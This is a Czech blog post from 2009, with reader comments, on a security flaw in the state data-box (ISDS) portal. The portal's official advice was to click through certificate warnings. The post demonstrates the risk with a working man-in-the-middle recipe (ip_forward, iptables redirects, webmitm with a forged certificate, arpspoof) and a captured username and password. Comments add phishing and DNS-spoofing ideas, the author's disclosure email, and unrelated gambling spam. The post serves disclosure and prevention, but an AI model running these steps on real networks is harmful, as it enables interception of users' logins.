Dat. schránky podruhé - nebezpečnostní upozornění

3.7.2009 15:24 | Přečteno: 5220× | Datové schránky | poslední úprava: 9.7.2009 19:36

Volbou přidání certifikátů k důvěryhodným certifikátům či pokračováním na stránku ISDS nevzniká žádné bezpečnostní riziko. Nebo vzniká?

slibovaný návod na arpspoofing v druhé polovině blogpostu

Na datoveschranky.info je hned na první stránce napsáno, že pokud nás při toulkách po portálu zastihne upozornění o neověřitelném certifikátu, máme jej vesele ignorovat a odkliknout. Zajímavé je, že málokoho napadne možné bezpečnostní riziko takového jednání. I sám Pan Ředitel ve včerejší zábavní estrádě prokázal, že má ohledně počítačové bezpečnosti mnohé mezery. A znáte to s tou kovářovic kobylou?

Pojďme si tedy ukázat, co se může stát, když bude uživatel bezhlavě odklikávat OK. Dostat se někomu do datové schránky není zas tak složité...

Cílem článku je především demonstrace, jak snadný může být man-in-the-middle útok. Nemusím doufám upozorňovat, že neručím za žádné problémy vzniklé aplikací zde popisovaných postupů. Nevhodné použití popisovaných programů může vést až k rozpadu vaší sítě, takže si dávejte bacha a zkoušejte si to radši jenom někde, kde to nikomu nevadí. Zneužití cizí DS je pochopitelně trestné.

---

Neumím efektně stříhat video, takže si to asi Mrkva bude muset natočit sám.

Úvaha na začátek

Předpokládám, že tušíte, jak funguje HTTPS a podepisování certifikátů. Také byste měli alespoň zhruba tušit, jak probíhá komunikace v ethernetových sítích a tak...

Nejdřív na svém počítači rozjedeme transparentní proxy, potom přes něj přesměrujeme komunikaci počítače oběti, podvrhneme vlastní certifikát a odposlechneme heslo. Jak prosté, milý Watsone.

Co budeme potřebovat

Náš počítač je v ethernetové síti realizované switchem, který neumí management portů (většina levnějších switchů), nebo ho nemá nastavený (většina dražších switchů). Takže třeba na koleji na Silicon Hillu to nepůjde. Předpokládám, že na svém počítači máme roota, že známe IP adresu počítače oběti a IP gatewaye. Ze softwaru budeme potřebovat iptables, webmitm a arpspoof z balíku dsniff.

Relay

V tomto kroku si vyrobíme vlastní certifikát (self-signed) a budeme poslouchat na portech 80 a 443 a logovat veškeré požadavky, které přes nás půjdou. Dále při pokusu o komunikaci s HTTP serverem s HTTPS stáhneme jeho certifikát, našemu klientovi podstrčíme svůj certifikát a požadavky od klienta vždycky naším soukromým klíčem rozšifrujeme, poznamenáme si je do logu, zašifrujeme "pravým" certifikátem a odešleme.

#zapneme forwarding cizích paketů
echo 1 > /proc/sys/net/ipv4/ip_forward
#natlačíme do iptablů potřebná pravidla; v tabulce nat ani obecně by neměla být žádná s nimi konfliktní, kdyžtak si napřed celé iptably vyflushujte
iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT
iptables -t nat -A PREROUTING -p tcp --dport 443 -j REDIRECT
#spustíme webmitm; začne si generovat certifikát - vyplníme co nejvěrohodněji vypadající údaje
webmitm
#webmitm ukončíme, zapneme logování požadavků (debug mód) a necháme ho logovat do souboru
webmitm -dd 2> soubor

Když se teď připojíme na port 80 nebo 443 počítače, jeho chování by mělo velmi připomínat proxy a v souboru by měly být všechny vyslané požadavky.

Arpspoof

Teď potřebujeme, aby zvolená oběť posílala veškerou komunikaci přes nás. Toho dosáhneme jednoduše tím, že na ni začneme křičet, že brána jsme MY. Zároveň začneme křičet na bránu, že MY jsme oběť.

arpspoof -t oběť brána
arpspoof -t brána oběť

Hotovo!

Když se oběť pokusí spojit s czebox.cz (ano, netestuji to na živé datové schránce), objeví se pochopitelně okýnko (v případě Firefoxu stránka), že jako certifikát hu, které podle instrukcí České pošty odklikne. Až se přihlásí, nám se v logu objeví řádek podobný tomuto:

option=credential&target=https%3A%2F%2Fwww.czebox.cz%2Fportal%2FISDS%2F&Ecom_User_ID=nejakejmeno&Ecom_Password=nejakeheslo&submit.x=89&submit.y=27&submit=Login

(tip: doporučuji pustit na log grep s uživatelským jménem nebo alespoň nějakým jiným dostatečně unikátním řetězcem (submit=Login), log je fakt dlouhý)

No a to je vše...

Prevence

Naimportovat si kořenový certifikát CA PostSignum a nějak si ověřit jeho SHA1sum.

Pokud to bude někdo filmovat, dejte sem pak link

Doporučený titulek pro Blesk a TV Nova: Student se naboural do systému datových schránek!

UPDATE: Pokračování

       

Obrázky

Komentáře

[Václav HFechs Švirga]

Ještě to rozeslat mediím :). Dobrá práce!

[Jendа]

Už vidím, jak odborníci z Nohy slabikují men-in-d-mi-dl... Chtělo by to nějakou BFU-style tiskovku

[jsimitseo]

When choosing an online casino game site, it's important to research and verify the site's reputation and safety. Look for sites that are licensed and regulated by recognized regulatory bodies, offer secure payment options, and have a responsive customer support team. Additionally, always gamble responsibly and within your means. เว็บรวมสล็อตทุกค่าย

[jsimitseo]

To engage in online casino gambling, players typically need to register an account on a licensed and reputable online casino website. During the registration process, players may be required to provide personal information and undergo age verification to ensure they meet the legal gambling age. สล็อตฝากถอนไม่มีขั้นต่ำ

[jsimitseo]

One of the key factors that contribute to the success of these web slots is their direct web access. Unlike traditional brick-and-mortar casinos, players can access these virtual slot machines directly from their computers or mobile devices. This accessibility allows for unprecedented convenience, making it possible for players to enjoy their favorite games from the comfort of their own homes or on the go. สล็อตเว็บใหญ่ที่สุด

[jsimitseo]

This is exceptionally fascinating, yet it is important to tap on this connection: สล็อต โรม่า

[CEST]

Jeste tam prihod popis, jak obeti zasleme email, neco jako "Dobry den, do datove schranky jsme vam poslali dulezite oznameni o necem, mel byste si ho precist, je to dulezite". Odkaz bude smerovat na nejakej ala phishing web trebas i s nejakou peknou UTF-8 URL a tam bude zase tvuj proxy.

[Jendа]

Ale tak jako že je oběť blbá a skočí na phishing, za to pošta nemůže. A v .info ani .cz IDN ještě (bohudík) nefunguje.

[Martin]

Máš pravdu, v .info IDN nefunguje: http://www.datovéschránky.info/

[CEST]

Za phising a blbost uzivatele samozrejme posta nemuze. Ale phishing je nejjednodussi a pokud navic oficialni mista radi ignorovat varovani o neoverenem certifikatu, je to opravdu jednoduche presmerovat uzivatele na nejakou jinou stranku. Je to o hodne jednodussi na rozdil od zminovaneho prikladu s vnucenim obeti nasi GW, a navic univerzalnejsi, kdyz obet nemusi byt v nasi siti. Stejne tak DNS poisoning je o dost  slozitejsi, nez jednoduchej phishing.

Proste chtelo by to udelat co nejjednodussi ukazku, jinak budou prave ti "profesionalove" jako ve zminenem rozhovoru pouze argumentovat, ze to je slozite, ze to musi byt na stejne siti atd. Presmerovat nekoho z emailu je opravdu jednoduche a funguje to vsude.

[Jendа]

Proste chtelo by to udelat co nejjednodussi ukazku, jinak budou prave ti "profesionalove" jako ve zminenem rozhovoru pouze argumentovat, ze to je slozite, ze to musi byt na stejne siti atd.

Jak ukázku? Jako poslat mail (s From: info@datoveschranky.info) a v něm mít odkaz na falešnou stránku? A jak se proti tomu má pošta bránit?

[Honza Jaroš]

Neradit lidem, aby ignorovali varování před neznámým certifikátem

[Filip Jirsák]

Tak ony jsou celé Datové schránky takový atentát na elektronický podpis a infrastrukturu veřejných klíčů (např. elektronický podpis nahrazují jménem a heslem), doporučení odkliknout každý certifikát, který se prohlížeči nabídne, je jenom pokračování v tomto snažení.

[petr_p]

Přidat lze aféru s evropskými čipovými pasy. Zajímalo by mě, jestli jsou tak blbí nebo navedení.

[Honza Jaroš]

Těch věcí je víc, třeba Karta Pražana (nyní Opencard) s nezměněnými továrními klíči. Tehdy bylo jediným výsledkem odklizení tehdejšího šéfa odboru informatiky (kterému se v té době podařilo jeho odbor téměř celý zlikvidovat a převést jeho funkce na externí firmy) o post níže, nicméně nadále dělal v podstatě totéž co předtím. Nyní ho už strana převelela jinam, takže momentálně škodí na vedoucí funkci v České televizi...

[Filip Jirsák]

Tam jde o co?

[petr_p]

Tam jde o bezkontaktní RFID, které lze z principu odposlouchávat, kde z „technických“ důvodů nejsou digitální podpisy na hranicích kontrolovány (což umožňuje klonování pasů) a kde jsou používány slabé algoritmy na ochranu citlivých údajů (které tak lze snadno získat, přestože by k nim měl mít přístup jen hraniční úředník). V roce 2006 byly tyto problémy předvedeny v jedné dánské televizi a na konferenci Black Hat v Las Vegas. Mám dojem, že se někomu i podařilo získat data nějakého unijního pohlavára. Výsledek je, že celý projekt byl de facto pozastaven. De jure sice státy mají povinnost se držet harmonogramu (prozatím jsou povinné otisky a obličeje zakódované do čárových kódu), ale další postup (používání čipů) prakticky nikdo (kromě Británie) hromadně ještě nenasadil a záležitost se oddaluje. Jako určitý seznam literatury lze použít odkazy z kapitoly Attacks na anglické Wikipedii o Biometric passport.

[Kvakor]

Nebo se může využít nějaká díra v mailovém klientovy či browseru, skrz kterou jde provést libovolný kód útočníka (a že jich ve Windows bylo - většina záplat řešila právě takové chyby), potom stačí například upravit soubor hosts, takže oběť nepozná, že se připojuje úplně někam jinam.

Ještě, že tohle pokročilejší antiviry kontrolují ...

[Luk]

Nebo existuje DNS spoofing/pharming (podvržení DNS odpovědí). DNSSec se prakticky ještě vůbec nepoužívá.

[Jendа]

Nebo se může využít nějaká díra v mailovém klientovy či browseru, skrz kterou jde provést libovolný kód útočníka (a že jich ve Windows bylo - většina záplat řešila právě takové chyby), potom stačí například upravit soubor hosts, takže oběť nepozná, že se připojuje úplně někam jinam.

Nebo rovnou nainstalovat keylogger, že. Zase - za děravý browser klienta nemůže pošta.

[hildr]

Your post touched me a lot and helped me a lot. If you have any questions lsm99.

[Salamek]

už to někdo spáchal natočil ? , já bych to udělal ale nechci aby mě pak nějakej debil zabásnul místo toho aby to spravili

[Jendа]

Už jsem to řešil

[Salamek]

aha, tak to jo , já jdu ku*vit

[Luk]

Naimportovat si kořenový certifikát CA PostSignum a nějak si ověřit jeho SHA1sum.

Vyžádal jsem si již včera vyjádření PostSignum QCA, jak certifikát bezpečně ověřit. Pokud nedostanu uspokojivou odpověď, podám podnět k ministerstvu vnitra* pro porušení § 6, odst. 1, písm. a) zákona 227/2000 Sb. () Za to lze podle § 18a, odst. 6, uložit pokutu do 10 milionů Kč. Podle certifikační politiky kořenového certifikátu by mělo jít nechat si na "registračních autoritách" (pracovištích ČP) nakopírovat kořenový certifikát na médium. Toto také každému doporučuji, protože je to jediný bezpečný způsob.

*Problém je v tom, že Česká pošta s.p. patří pod ministerstvo vnitra. Proto bude MV kontrolovat případné porušení zákona ve své vlastní organizaci, čili nemusí mít zájem na tom, aby se porušení zákona prokázalo.

[Kvakor]

Nedostane každý při zřízení oné schránky nějaké papíry? Pak by se SHA1sum mohla otisknout právně v nich, spolu s popisem, jak ověřit, že certifikát není podvržený - ten, kdo podvrne vlastní certifikát, může stejným způsobem podvrhnout i kořenový certifikát CA.

[Luk]

Nedostane každý při zřízení oné schránky nějaké papíry? Pak by se SHA1sum mohla otisknout právně v nich, spolu s popisem, jak ověřit, že certifikát není podvržený

Byla by to samozřejmě dobrá cesta, ale nedělám si moc velké iluze, že se tam fingerprint dnes uvádí (téměř jistě ne), ani že to tam jen tak sami od sebe začnou uvádět. Kdyžtak je bude potřeba k tomu dokopat (nebo k jiné srovnatelně bezpečné a pohodlné cestě). Nicméně primární by mělo být poskytnutí přes pracoviště ČP, jak je to uvedeno v jejich politice. Jsem zvědav, co mi odpoví (protože by měli odpovědět to, co je v politice uvedeno, případně na ni odkázat). Pak zkusím přijít na poštu (kam stejně musím, protože mi před časem propadl elektronický podpis - zapomněl jsem ho včas prodloužit) a nechat si nakopírovat kořenový certifikát. Doufám, že se nebudou tvářit, že nevědí, co po nich chci. A právě, jak už jsem říkal, ať to zatím takhle dělá každý, protože certifikát získaný přes HTTP může být podvržený.

[CEST]

Hmmm, kdyz jsem sepisoval smlouvu na inet bakovnictvi do KB, tak jsem mel ve smlouve i nejakej checksum - nevim ted, jestli tehdy jeste MD5 nebo uz i SHA1, ale kontroloval jsem to, ale navic KB to ma podepsany verisignem. Mozna to stejnym zpusobem maji i datovyschranky.

[rastik]

Každý dostane u PostSignum společně s certifikátem i kořenové certifikáty na flashku. Tak předpokládám, že je možné je získat i na vyžádání, bez žádosti o vytvoření certifikátu.

[Roman Schulz]

Já myslím, že to je vážná chyba. Postsignum se mělo dávno snažit, aby jejich certifikát byl v nejčastějších prohlížečích (IE, Opera, Firefox..) automaticky

[12345]

Řekl bych, že tou opravdu vážnou chybou je, že někdo oficiálně doporučuje bezmyšlenkovité odklikávání neznámých certifikátů. Být zaměstnavatelem, tak bych se s autorem takového doporučení nejraději rozloučil.

[otasomil]

A je tu duvod ji rozebirat.

Mj jestli potkavate p Koupeho (osobnosti.cz)  tak ho  ode mne pozdravujte.

Dekuji

[xkucf03]

Dostat do prohlížečů další certifikační autoritu je prakticky nemožné, zvlášť pokud se týká jen jednoho státu. Podobně hezké by bylo, kdyby se tam dostala např. CA CESNETu, ale to je také nereálné.

Řešením tedy je, mít bezpečný server s HTTPS certifikátem podepsaným nějakou důvěryhodnou* autoritou a umožnit lidem si z něj stahovat certifikáty českých CA.

*) uznávanou v prohlížečích. A zároveň šířit otisk toho certifikátu i jinou cestou.

[Filip Jirsák]

I.CA svůj kořenový certifikát nedávno do Windows dostala (ovšem musel být vydán opět nový, ten původní by asi z nějakého důvodu neprošel).

[Michal Wirth]

Pokud se s tim nechcete moc pytlikovat, tak sahnete po ettercap. Umi to same na cca 3-5 kliknuti. Zkousel jsem to a moc pekne to funguje. Navic umi i spoustu dalsich uzitecnych veci.

[Milan Jurik]

"Poznámka: Za (dostatečně) důvěryhodný můžete považovat certifikát autority, který vám osobně předá operátorka na pracovišti České pošty. Certifikáty autorit jsou vám automaticky předávány spolu s vydaným certifikátem."

Citace ze stranek PostSignum QCA

[Luk]

To ano (jak jsem si teď ověřil, opravdu jsem tehdy kořenový certifikát obdržel), ale zřízení datové schránky nemusí znamenat pořízení elektronického podpisu a tedy ani návštěvu ČP. Proto kdo tam nepůjde kvůli podpisu, bude tam muset zajít explicitně pro kořenový certifikát.

[otasomil]

K tomu bych si dovolil dodat modifikovanou hlasku z jednoho ceskeho filmu:

Hlavne o tom zvante d******e, at mame na krku IT kriminalku.

[Jendа]

Ten film neznám, ale... jak jinak než zveřejněním bys je chtěl donutit k opravě?

[otasomil]

Vsak jo. Vase ciny jsou chvalihodne.

Je treba hledat bezpecnostni problemy.

[Luk]

O tom je potřeba žvanit. Jinak se to všechno hezky zamete pod koberec a všichni se budou tvářit, že je všechno v pořádku. A kriminálku bychom měli upozornit naopak my, protože inkriminované doporučení na serveru www.datoveschranky.info je podle mého názoru na hranici (nebo už za ní) trestného činu, jak už jsem nedávno uvedl.

[Jendа]

Hele, a napadlo vás vůbec někoho, že to pan ředitel nikomu neprozradil, a tudíž by se hodilo dát jim o tom vědět? Třeba o tom fakt ještě nevědí. Poslal jsem na dotazy zavináč datoveschranky info tento mail:

Předmět: Zavádějící tvrzení na datoveschranky.info

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Dobrý den,
na adrese http://datoveschranky.info/ je uvedeno velmi zavádějící
tvrzení, jehož dodržení může ohrozit bezpečnost uživatele:

"Při pokusu o přihlášení do systému ISDS se může objevit varování,
upozorňující na problém s bezpečnostním certifikátem stránky. Toto je
způsobeno nepřítomností certifikátu ve standardní instalaci MS Windows
či jiných operačních systémů. Upozornění je nutno ignorovat; vstup na
stránku je zcela bezpečný neboť používaný certifikát je vydán
kvalifikovanou českou certifikační autoritou. Volbou přidání
certifikátů k důvěryhodným certifikátům či pokračováním na stránku
ISDS nevzniká žádné bezpečnostní riziko."

Pokud se uživatel bude těmito instrukcemi řídit, nainstaluje si
certifikát, u kterého nemůže ověřit, jestli ho opravdu vydalo
PostSignum nebo ho podvrhl útočník. Vhodnější by bylo, pokud byste
uvedli, jak si naimportovat kořenový certifikát PostSigna a ověřit
jeho integritu.
Děkuji za vyjádření,
Jan Hrach

- --
Jan Hrach
Mail: jenda {} hrach.eu
Jabber: hrachj {} abclinuxu.cz
GPG: http://ftp.hrach.eu/jenda/public.key
1D9D AC4B E964 0D1E 7F5D 6E03 B72F 6430 9FA4 F536
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.9 (GNU/Linux)
Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org

iEYEARECAAYFAkpOMj8ACgkQty9kMJ+k9TawnQCg7apv2DFC8SW+UpS6+OXPJ/mG
w6kAniPI+lyxSOYDQSCRsrbHyft9BIjW
=J1UN
-----END PGP SIGNATURE-----

[otasomil]

Tak to se tu za vsechny tesim na odpoved. Ani bych se nedivil kdyby neodpovedeli - k tomu mailu totiz neni co dodat.

 

[Grunt]

Ještě kdysi v dávných dobách jsem zveřejnil pár FW pravidel(nic čistého, to je mi jasné) pro jistý OS, který s oblibou používají ISP. Jak jsem později zjistil, tak ho používali i k různým dalším činnostem. Podstata je ta, že aniž by to klient věděl, tak komunikuje s jiným serverem než se kterým původně chtěl(Únos spojení?) jen s tím detailem, že nemá šanci to nijak rozumně zjistit, jelikož tím únoscem(man-in-the-middle) je router(IP, MAC adresy,…díky NATu všechno sedí. No prostě hnus nejzelenější). Což takhle k tomu ještě doplnit serverou část, která by logovala ty uživatelské údaje pěkně do databáze aby se mohl stát MiM(kterým už vlastně z principu je, jen si to díky vlastní neschopnosti neumí zařídit) mohl stát kterýkoliv ISP pouhým stáhnutím skriptu a použitím CTRL+C a CTRL+V. Třeba by mělo šanci to trochu zvednout nedůvěřivost v našich končinách. A ještě by tím ISPčka částečně splnili tu úžasnou vyhlášku o logování provozních údajů.

[Grunt]

BTW: Uznávám, že mi už asi šibe riadně.

[belisarivs]

Mozna je to blba otazka, ale nestoji pokus o napadeni timto zpusobem na nutnosti byt s napadenym ve stejne siti a to jeste na hubu, ktery posila data vsem a ty pak jdou zachytit treba wiresharkem, ktery prepne sitovku do promiskuitniho rezimu?

Cili, pokud jsem priojen do switche, ktery neposila vse vsem, ale jenom tomu, komu ma, tak jsem za vodou?

[TM]

Na stejném segmentu ethernetu, případně na stejném vlanu být musíte, ale switch vám rozhodně nepomůže - viz. arpspoof, který autor využívá.
Ale ono by to šlo udělat i jinak - představte si třeba, že zlý hoch má v rukou softwarový router, přes který jde provoz od toho uživatele...může použít i jiné nástroje - stunnel apod.
Každopádně autor udeřil přesně hřebíček na hlavičku - radit lidem, aby bezhlavě odklikávali certifikát, který browser považuje za nedůvěryhodný vskutku není ideální...

[thingie]

Jak autor popisuje, switch není překážkou, není-li dostatečně chytrý a zároveň ještě vhodně nastavený, což nebývá (obojí najednou) zvykem. Kde by člověk dneska hledal hub…

[Grunt]

A pokud už to čirou náhodou nejde na druhé síťové vrstvě tak hop o vrstvu výše na ICMP Redirect. Ještě jsem nezažil systém, který by nevyhověl. Vždycky se najde něco.

[Filip Jirsák]

Zrovna tento konkrétní popis vyžaduje stejnou síť. Ale obdobně to lze udělat i s přístupem ke kterémukoli routeru po cestě, další možnost je třeba podvrhnout DNS odpověď (to můžete teoreticky zvládnout u počítače na druhém konci světa)…

[vlastikroot]

LOL

[Jendа]

A fakt se hlásí jako Firefox? V Debianu se třeba hlásí jako Iceweasel a v Archu Minefield (IMHO).

[vlastikroot]

JJ minefield , ale jde o to ze k cemu je tam pak takova detekce ?? To si snad nemuze nikdo normalni dovolit

[Ladicek]

Úplně klidně. Kdyby teda byli co k čemu, detekují slovo Gecko

Když jsem jednou dočasně musel zobrazovat uživatelům prohlížečů postavených na Gecku upozornění na nefunkčnost WYSIWYG editace HTML, detekoval jsem "Gecko/1.8.blablabla" (už nevím, od které verze přesně to bylo), ale v upozornění jsem bez skrupulí použil slovo Firefox. Koho zajímá jakési Gecko a proč mluvit o jakési Mozille – technici vědí a u netechniků nějaká jiná Gecko-aplikace prakticky nehrozí.

[thingie]

Konqueror se pak třeba hlásí jako „like Gecko“, například. Tak co s tím. A přitom je dost odlišný. Ty identifikace prohlížečů jsou asi strašně nanic, nejlíp asi nepoužívat to vůbec, zdá se.

[12345]

Prosím tě, kde žiješ? Copak nevíš, co o tom kážou odborníci na prohlížeče?

One of the most common operations performed in a Web page is to detect the browser type and version.

[Ladicek]

Jenže ona to dost možná bude pravda, proč by jinak už od dřevních dob webu velká většina prohlížečů začínala svůj UA řetězec "Mozilla/4.0"?

[Ladicek]

Jo, no, ale Gecko/X.Y.Z.W mají snad jenom opravdové Gecko-věci. UA řetězec by byla super věc, kdyby to prohlížeče dělaly pořádně (už i Opera musela slevit, s tou verzí 10…), ale i v dnešním stavu se nějaká, byť třeba hrubá, detekce dělat dá.

Druhá věc je, jak se s výsledkem takové detekce zachází. Zablokovat uživatele nerozpoznaného prohlížeče je zločin, za který by měl autor viset za koule v průtrži mračen a do očí by mu měli zapíchat špendlíky. Ale s posíláním upravených/opravených verzí pro konkrétní prohlížeče a nějakého defaultu pro všechny ostatní, pokud není zbytí, naprosto nemám problém. Ale to už jsme off topic.

[thingie]

On může mít kdokoliv cokoliv, žejo. RFC 2616 se k tomu vyjadřuje jenom orientačně, a i kdyby, HTTP je stejně víc zvykové právo, než nějaký přesně specifikovaný protokol, tak je to úplně jedno. Nicméně pokud se odpověď výrazně liší podle user-agent v hlavičce, tak je to prostě problém, a dít by se to nemělo. Neřeknu odlišný CSS styl, nebo nějaké drobnosti, ale úplně jiná odpověď, to je prostě katastrofa. Vyrábí se tím šílený zmatek, odpovědi se stanou nepředvídatelnými, a vůbec se to nedá označit za pozitivní jev.

[Filip Jirsák]

HTTP je stejně víc zvykové právo, než nějaký přesně specifikovaný protokol

Opravdu HTTP? Nenapadá mne nic, co by se dnes masově při HTTP komunikaci používalo, a bylo to v rozporu se specifikací HTTP nebo v ní nebylo uvedeno.

Nicméně pokud se odpověď výrazně liší podle user-agent v hlavičce, tak je to prostě problém, a dít by se to nemělo.

Specifikace protokolu HTTP na to má jiný názor a dokonce specifikuje hlavičku Vary, na základě které se určí, které hlavičky HTTP dotazu ovlivňují výběr odpovědi.

[thingie]

Zvykové právo má ovšem názor takový, že Vary se pro tohle stejně použít nedá, protože stejně neexistuje žádný dohodnutý způsob jak si takto sdělit, že jinému prohlížeči (jakému, jak) něco řeknu, co jemu ne. A prohlížeč s touhle informací nemá moc jak naložit, ani to vysvětlit uživateli. Konečně, co taky čekat od mechanismu, který je určen pro proxy a cache.

[Filip Jirsák]

Odpověděl jste si sám. Ta hlavička je určená pro proxy a cache, prohlížeč ji nepotřebuje. Onen dohodnutý způsob, který podle vás neexistuje, je jazyk český (na českých webech), kterým se do HTML stránky (pokud jde o HTML stránku) napíše, že váš prohlížeč neumí to a to a pokud to potřebujete, můžete použít například prohlížeč X nebo Y. Pokud to však server detekuje špatně, není to problém protokolu ani prohlížeče, ale problém autora aplikace. Ale před neschopností autora vás samozřejmě žádný protokol neochrání.

[David Watzke]

Jojo, tohle je chlípnost, prudí to na kdejakým webu. Řešením je jít do about:config a přidat si tam novou předvolbu (řetězec) general.useragent.override s hodnotou např.

Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1) Gecko/20090702 Firefox/3.5

[vlastikroot]

Vim ze si muzu zmenit UA, ale neni to spis jen workaround ? Chci aby bylo videt co pouzivam, ze pouzivam treba Gran Paradiso (jedina vec podle ktere je poznat ze mam archa) nebo Konqueror, nez Firefox. Treba moootools ma detekci browseru, ale jen na zaklade funkci, ne user agentu. Takze muzu zjistit IE, a pritom to IE vubec byt nemusi, ale je stejne nefunkcni. Za to ze si nekdo vubec dovoli davat detekci podle user agentu a ostatnim znemoznit funkcnost, by mel prijit o svoje pracovni misto. Varovani beru, ale naprosty znefunkcneni stranky kvuli jiny identifikaci browseru je fakt silny kafe.

[Grunt]

Za to ze si nekdo vubec dovoli davat detekci podle user agentu a ostatnim znemoznit funkcnost, by mel prijit o svoje pracovni misto. Varovani beru, ale naprosty znefunkcneni stranky kvuli jiny identifikaci browseru je fakt silny kafe.

Samotná Mozilla na tom nebyla o moc lépe.

[vlastikroot]

Technologicka dema jsou trochu neco jineho nez projekt za 900M

[Grunt]

Krom toho že si někdo pravděpodobně koupí novou vilu a pár aut, v čem?

[Salamek]

no spíš pár vilek i s ostrůvkem a nějaky ty auta

[vlastikroot]

S tebou se neda diskutovat vzdycky mas lepsi pravdu nez ja

[stativ]

Sakra, abych Shiretoko zaměnil za Firefox

[Jendа]

Omluvte plánovanou odstávku informačního systému datových schránek od 4. 7. do 5. 7.

Muhehe, čtyři dny to jelo a už si naplánovali odstávku

[Jendа]

Omlouváme se všem uživatelům Datových schránek, v současné době probíhá plánovaná odstávka, z důvodů prací spojených s náběhem systému. Práce se týkají implementace změn v systému Datových schránek, které vyplývají z Novely zákona 300/2008 Sb. Probíhá rovněž plánované zátěžové testování systému a činnosti, které souvisí s další etapou bezpečnostního auditu systému Datových schránek.

Že by se ledy hnuly?

[Grunt]

Takže jako žádná akční reportáž na TV Nova?

[Jendа]

Nevím, TV moc nesleduji s zprávy na Nově už vůbec ne... Nebylo tam něco?

[Jendа]

Nehnuly... DS jsou zpět online a pořád to tam je.

[Salamek]

S validitou se taky moc nesrali , sice to nejsou hrubky ale na tak drahej projekt by to mohli prasit alespon mín než já , když jde navíc o tak chudou stránku Invalidní

[Salamek]

stojí za to si přečíst : http://www.czebox.cz/static/pages/prohlaseni.html
hlavně část:
Při tvorbě stránek byl použit značkovací jazyk HTML podle specifikace XHTML 1.0 Strict a bylo dbáno na dodržení syntaktické i sémantické správnosti.(ano to vidíme )
a
Stránky Informačního systému datových schránek byly vytvořeny s maximální snahou vyhovět všem závazným předpisům podle zákona č. 365/2001 Sb., vyhlášky 64/2008 Sb. a související metodické příručky. Splňují tak důležité zásady přístupnosti podle metodiky Blind Friendly Web (BFW) i Web Content Accessibility Guidlines (WCAG).

[xkucf03]

Jenže „maximální snaha“ neříká nic o tom, zda se výsledku podařilo dosáhnout – píše-li to luser, ani maximální snažení nebude korunováno XHTML validitou

Ad BFW – existuje i něco jako BFU Friendly Web?

[Jendа]

Neřekl bych, že je to nějak extrémně přístupné (kvůli závislosti na Filleru) .

[Salamek]

oni tma nic o 602 nemelou v tom prohlášení melou tma jen o PDF ,Widle formatu Office a ODF

[Rank Xone]

It is great, yet take a gander at the data at this address. แทงไฮโล

[Adilkhatri]

검증된 파워볼사이트 를 찾으신다면 eos파워볼사이트 가 있는 파워볼사이트추천 에서 파워볼 을 즐기시길 바랍니다. 5년 이상 운영된 메이저업체 이며 지금까지 많은분들께 사랑받은 안전한파워볼사이트 입니다. 안전한파워볼사이트

[Adilkhatri]

Amid this site, you will see this shape, I very suggest you take in this audit. 먹튀검증사이트

[메이저사이트]

This is a great post. I like this topic.This site has lots of advantage.I found many interesting things from this site. It helps me in many ways.Thanks for posting this again.메이저사이트

[먹튀검증]

I value your work to write this type of great short article. I will certainly share this article with my pals as it comprises of beneficial help and advice for all. 먹튀검증

[토토사이트]

This is my first time pay a quick visit at here and i am really happy to read everthing at one place! 토토사이트

[토토사이트]

Articles usually are not a thing I ordinarily take time to read, but I am glad I took the time to read this 1. Your views are well-said, very informative and I shared your report with friends. 토토사이트

[메이저사이트]

Thanks for the blog loaded with so many information. Stopping by your blog helped me to get what I was looking for. 메이저사이트